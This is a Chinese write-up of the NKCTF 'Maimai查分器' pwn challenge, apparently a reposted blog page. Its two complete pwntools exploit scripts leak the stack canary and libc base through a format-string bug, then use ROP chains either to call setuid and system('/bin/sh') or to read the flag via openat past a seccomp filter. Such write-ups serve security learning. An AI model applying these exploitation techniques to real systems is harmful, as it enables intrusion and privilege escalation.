NKCTF--pwn--Maimai查分器

news2024/12/24 9:30:35
NKCTF–pwn–Maimai查分器
  1. Maimai查分器

    保护全开

    存在格式化字符串漏洞

    第一步:先测速率,输入15.0 SSS+ 50次获得最高速率
    在这里插入图片描述

sl(b'1')
#debug()
for i in range(50):
    sl(b'15.0 SSS+')

在这里插入图片描述

然后利用格式化字符串去泄露,本来想一口气全部泄露的,但是只有8个字节,那就分两次

然后打ret2libc即可

本地通了,但是不知道为啥远程通不了
在这里插入图片描述

怀疑可能远程的内部程序偏移不同,用-1到-8,+1到+8试,结果到+4的时候,欸?(后来发现是第二个payload里的4个A给输进去了,不知道为什么我本地不会这么输进去,远程却会()不过当时确实应该好好看看打印出来的东西,确实多了4个A)
在这里插入图片描述

但是没有权限,syscall禁用了open,所以用libc里的openat来读写

在这里插入图片描述

这里出现了好多问题,因为一次只能read0x80字节,本来尝试泄露返回地址,然后多次回转,结果中间会崩溃。

转换思路:栈溢出后自行用一个read,设置特别大的字节,由于想用orw嘛,就泄露了栈的地址,同时也可以作为这个read的地址。往栈上写./flag\x00\x00的名字,然后再用read来写orw。将两次的联合到一起。

payload = b'./flag\x00\x00'+b'A'*(0x30-8-8)+p64(canary)+p64(0)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(stack_addr+0x80)+p64(pop_rdx_rbx)+p64(0x200)*2+p64(read_addr)+p64(pop_rdi)
payload +=p64(0xffffff9c)+p64(pop_rsi)+p64(stack_addr)+p64(pop_rdx_rbx)+p64(0)*2+p64(openat_addr)
payload +=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(stack_addr+0x200)+p64(pop_rdx_rbx)+p64(0x30)*2+p64(read_addr)
payload +=p64(pop_rdi)+p64(stack_addr+0x200)+p64(puts_addr)

虽然但是,这么做真的好麻烦好麻烦好麻烦。另外:突然发现那里又不用+4了???(不知道是不是修复了还是我的问题)没加是因为我本地之前正常不用+,然后本地调完忘了改,现在突然发现。。。

对了,而且openat的参数不知道为什么第一个是0xffffff9c???不是这个都不行,关于我怎么知道的呢?

自己编译了一个看了看🐶,让gpt给写的用openat打开一个文件

#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>

int main() {
    int fd = openat(AT_FDCWD, "./flag", O_RDONLY);
    
    if (fd == -1) {
        perror("Error opening the file");
        return 1;
    }
    
    // 文件已成功打开,可以根据需要进行读取等操作
    
    close(fd); // 记得关闭文件描述符
    
    return 0;
}

调到对应的位置看
在这里插入图片描述

好吧好吧,总算是做出来一个,没被零封()()

出题人用了setuid来获得这个权限,用system获取shell后ls -la 可以看到这个pwn文件被赋予了s权限(可以setuid)
在这里插入图片描述

在setuid之后再system就可以cat flag 了
在这里插入图片描述

出题人的单独授予题目权限的特殊做法exp:

from pwn import*
context(log_level='debug',arch='amd64',os='linux')
#p=process('./pwn')
p=remote('node.nkctf.yuzhian.com.cn',39213)
sl = lambda s :p.sendline(s)
sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
ru = lambda s :p.recvuntil(s)
rl = lambda   :p.recvline()

def debug():
    gdb.attach(p)
    pause(1)

sl(b'1')
#debug()
for i in range(50):
    sl(b'15.0 SSS+')
sl(b'2')
#debug()
sd(b'%7$p')
offset = 0x7f49d9a29d90 - 0x7f49d9a00000
ru('0x')
canary = int(rc(16),16)
print(hex(canary))
sd('xyyr')

sl(b'2')
#debug()
sd(b'%13$p')
ru('0x')
libc_base = int(rc(12),16) - offset
print(hex(libc_base))
sd('xyyr')

libc = ELF('/home/kali/Desktop/libc-2.35.so')
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))

pop_rdi = libc_base + 0x000000000002a3e5
pop_ret = libc_base + 0x0000000000029139
pop_rdx_rbx = libc_base + 0x00000000000904a9
pop_rsi = libc_base + 0x000000000002be51
setuid_addr = libc_base + libc.sym['setuid']
sl(b'2')
sd(b'xyyrxyyr')
rl()
payload= b"A"*(0x30-8)+p64(canary)*2+p64(pop_rdi)+p64(0)+p64(setuid_addr)+p64(pop_rdi)+p64(bin_sh)+p64(system_addr)
sd(payload)
p.interactive()

  • 另外关于openat,我看别人好像没有给rdi这个特殊的值,但是不知道为什么我按照不给的话输出不出来
    在这里插入图片描述

繁杂且麻烦且中间之前步骤有的需要但后面改的思路不需要的地址还存在的麻烦(但是第一的大佬也是这么做的,这个通用)exp:

from pwn import*
context(log_level='debug',arch='amd64',os='linux')
#p=process('./pwn')
p=remote('node.nkctf.yuzhian.com.cn',39727)
sl = lambda s :p.sendline(s)
sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
ru = lambda s :p.recvuntil(s)
rl = lambda   :p.recvline()

def debug():
    gdb.attach(p)
    pause(1)

sl(b'1')
#debug()
for i in range(50):
    sl(b'15.0 SSS+')
sl(b'2')
#debug()
sd(b'%7$p')
offset = 0x7f49d9a29d90 - 0x7f49d9a00000
ru('0x')
canary = int(rc(16),16)
print(hex(canary))
sd('xyyr')

sl(b'2')
#debug()
sd(b'%13$p')
ru('0x')
libc_base = int(rc(12),16) - offset
print(hex(libc_base))
sd('xyyr')

libc = ELF('/home/kali/Desktop/libc-2.35.so')
#system_addr = libc_base + libc.sym['system']
#bin_sh = libc_base + next(libc.search(b'/bin/sh'))

pop_rdi = libc_base + 0x000000000002a3e5
pop_ret = libc_base + 0x0000000000029139
pop_rdx_rbx = libc_base + 0x00000000000904a9
pop_rsi = libc_base + 0x000000000002be51
openat_addr = libc_base + libc.sym['openat']
read_addr = libc_base +libc.sym['read']
puts_addr = libc_base +libc.sym['puts']

#debug()
sl(b'2')
#debug()
sd(b'%8$p')
ru('0x')

stack_addr = int(rc(12),16)-0x70
#print(hex(stack))
sd(b'xyyr')

sl(b'2')
sd(b'%9$p')
ru('0x')
ret_addr = int(rc(12),16)
print(hex(ret_addr))

payload = b'./flag\x00\x00'+b'A'*(0x30-8-8)+p64(canary)+p64(0)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(stack_addr+0x80)+p64(pop_rdx_rbx)+p64(0x200)*2+p64(read_addr)+p64(pop_rdi)
payload +=p64(0xffffff9c)+p64(pop_rsi)+p64(stack_addr)+p64(pop_rdx_rbx)+p64(0)*2+p64(openat_addr)
payload +=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(stack_addr+0x200)+p64(pop_rdx_rbx)+p64(0x30)*2+p64(read_addr)
payload +=p64(pop_rdi)+p64(stack_addr+0x200)+p64(puts_addr)
#debug()
sd(payload)
p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1543541.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

继承和多态(2)(多态部分)

提前讲的重要知识点 一个类在没有父类的情况下默认有一个父类为Object类。 而当在有父类情况下&#xff0c;如果你那父类没有父类&#xff0c;则其父类的父类默认为object类&#xff0c;所以即使一个类有父类&#xff0c;其内部还是有object类。 object类都是隐藏起来的&…

浅谈C++引用的使用以及底层原理

文章目录 1、引用概念2、引用特性3、常引用4、引用的使用场景&#xff08;1&#xff09;做参数&#xff08;2&#xff09;做返回值 1、引用概念 引用不是新定义一个变量&#xff0c;而是给已存在变量取了一个别名&#xff0c;编译器不会为引用变量开辟内存空间&#xff0c;它和…

链式二叉树经典OJ题目(一)

目录 结构体声明&#xff1a; 1.单值二叉树 题目描述&#xff1a; 思路分析&#xff1a; 源码&#xff1a; 2.二叉树最大深度 题目描述&#xff1a; 思路分析&#xff1a; 源码&#xff1a; 3.检查两棵树是否相同 题目描述&#xff1a; 思路分析&#xff1a; 源码…

EMC | 浪涌保护电路NTC

NTC(5D-11)负温度系数热敏电阻。 NTC是过流器件。 抑制开机的浪涌电流&#xff0c;NTC温度越高&#xff0c;电阻越低。 如果没有NTC,220VAC开机对电容CE3充电&#xff0c;此时电容中没有电荷&#xff0c;CE3相当于短路&#xff0c;回路电流会很大。 选型注意 1、R25温度下电阻…

Negative Sampling with Adaptive DenoisingMixup for Knowledge Graph Embedding

摘要 知识图嵌入(Knowledge graph embedding, KGE)的目的是通过对比正负三元组&#xff0c;将知识图中的实体和关系映射到一个低维、密集的向量空间中。在kge的训练过程中&#xff0c;由于kge只包含正三元组&#xff0c;因此负采样对于找到高质量的负三元组至关重要。大多数现…

鸿蒙NXET实战:高德地图定位SDK【获取Key+获取定位数据】(二)

如何申请key 1、创建新应用 进入[控制台]&#xff0c;创建一个新应用。如果您之前已经创建过应用&#xff0c;可直接跳过这个步骤。 2、添加新Key 在创建的应用上点击"添加新Key"按钮&#xff0c;在弹出的对话框中&#xff0c;依次&#xff1a;输入应用名名称&…

04、JS实现:用⼆分法思想实现搜索旋转排序数组(一步一步剖析,很详细)

搜索旋转排序数组 Ⅰ、搜索旋转排序数组&#xff1a;1、题目描述&#xff1a;2、解题思路&#xff1a;3、实现代码&#xff1a; Ⅱ、小结&#xff1a; Ⅰ、搜索旋转排序数组&#xff1a; 1、题目描述&#xff1a; 给你⼀个升序排列的整数数组 nums &#xff0c;和⼀个整数 tar…

【刷题】滑动窗口精通 — Leetcode 30. 串联所有单词的子串 | Leetcode 76. 最小覆盖子串

送给大家一句话&#xff1a; 充满着欢乐与斗争精神的人们&#xff0c;永远带着欢乐&#xff0c;欢迎雷霆与阳光。 —— 赫胥黎 滑动窗口精通 前言Leetcode 30. 串联所有单词的子串题目描述算法思路 Leetcode 76. 最小覆盖子串题目描述算法思路 Thanks♪(&#xff65;ω&#xf…

产品推荐 | 基于 Zynq UltraScale+ XCZU27DR的 FACE-RFSoC-C高性能自适应射频开发平台

一、产品概述 FACE-RFSOC-C自适应射频开发平台&#xff0c;是FACE系列新一代的产品。 平台搭载有16nm工艺的Zynq UltraScale™ RFSoC系列主器件。该器件集成数千兆采样RF数据转换器和ARM Cortex-A53处理子系统和UltraScale可编程逻辑&#xff0c;是一款单芯片自适应射频平台。…

风力发电模型Windpowerlib概述与入门

Windpowerlib 是一个提供了一系列函数和类的库&#xff0c;用于计算风力涡轮机的功率输出。它最初是 feedinlib&#xff08;风能和光伏&#xff09;的一部分&#xff0c;但后来被分离出来&#xff0c;以建立一个专注于风能模型的社区。 这个库的主要目的是简化风力涡轮机的能量…

Vue3 + Vite + TS + Element-Plus + Pinia项目(3)--新建路由

1、在src文件夹下新建router文件夹后&#xff0c;创建index.ts文件 2、具体如下 import { createRouter, createWebHashHistory } from vue-routerconst router createRouter({history: createWebHashHistory(),routes: [{path: "/index",component: () > impor…

红黑树进阶:正向与反向迭代器的实现及map、set的封装实践

文章目录 一、引言二、红黑树迭代器设计1、迭代器的基本概念和分类2、正向迭代器设计a.迭代器结构定义b.迭代器的 与 -- 3、反向迭代器设计a.反向迭代器的必要性b.反向迭代器的实现要点 4、红黑树封装迭代器 三、使用红黑树实现Map四、红黑树实现Set五、细节理解1、 typname的使…

JAVA学习笔记19(面向对象编程)

1.面向对象编程 1.1 类与对象 1.类与对象的概念 ​ *对象[属性]/[行为] ​ *语法 class cat {String name;int age; }main() {//cat1就是一个对象//创建一只猫Cat cat1 new Cat();//给猫的属性赋值cat1.name "123";cat1.age 10; }​ *类是抽象的&#xff0c;…

【Redis系列】那有序集合为什么要同时使用字典和跳跃表

面试官&#xff1a;听说你精通Redis&#xff0c;那我就考考你吧 面试官&#xff1a;不用慌尽管说&#xff0c;错了也没关系&#x1f60a;。。。 以【面试官面试】的形式来分享技术&#xff0c;本期是《Redis系列》&#xff0c;感兴趣就关注我吧❤️ 面试官&#xff1a;你说说Re…

个人可以做知识付费网站吗

个人可以做知识付费网站吗 个人能够做学问付费网站吗&#xff1f;答案是肯定的&#xff01;如今个人做学问付费网站并不需求太多的资金和技术支持&#xff0c;我们只需求购置一台效劳器或虚拟主机&#xff0c;然后在该主机空间上搭建一个WordPress网站&#xff0c;最后运用带有…

商家如何自己零成本免费制作点餐小程序项目完整源码

现在点餐小程序成为餐饮店的标配&#xff0c;顾客只要扫码&#xff0c;即可进入小程序点餐。顾客付款后&#xff0c;后厨自动打印出订单并开始制作。整个过程非常方便流畅&#xff0c;甚至还可以免去收银&#xff08;或服务&#xff09;人员。那么&#xff0c;这种餐饮小程序要…

类和对象三部曲(one)

都说C语言是面向过程&#xff0c;分析出求解问题的步骤&#xff0c;通过函数调用来逐步解决问题。 拿洗衣服来举例&#xff0c;C关注的是一个过程&#xff1a; 那么C是什么呢&#xff1f; 面向对象的编程语言。 面向对象对象指什么&#xff1f; 象棋里的对象么&#xff1f;…

JavaScript学习第二天

1.学习JavaScript高级语法目的 降低后续对于前端框架学习难度 1.局部变量与全局变量 1.局部变量: 在函数体内部通过var声明的变量 1.局部变量特点: 局部变量只能在当前函数体内使用&#xff0c;不能 在函数体外使用 2.全局变量 在script标签下直接…

AI之Suno:Suno V3的简介、安装和使用方法、案例应用之详细攻略

AI之Suno&#xff1a;Suno V3的简介、安装和使用方法、案例应用之详细攻略 目录 Suno AI的简介 1、特点与改进&#xff1a; Suno AI的安装和使用方法 1、第一步&#xff0c;让国产大模型—ChatGLM4帮我写一个提示词 2、第二步&#xff0c;将提示词交给Suno v3&#xff0c;…

LDL^H分解求逆矩阵与MATLAB仿真(Right-Looking)

通过分解将对称正定厄米特矩阵分解成下三角矩阵L和对角矩阵D来求其逆矩阵 目录 前言 一、LDL^H基本算法 二、LDL^H Right-Looking算法 三、D矩阵求逆 四、L矩阵求逆 五、A矩阵求逆 六、计算量分析 七、MATLAB仿真 八、参考资料 总结 前言 在线性代数中&#xff0c;LDL…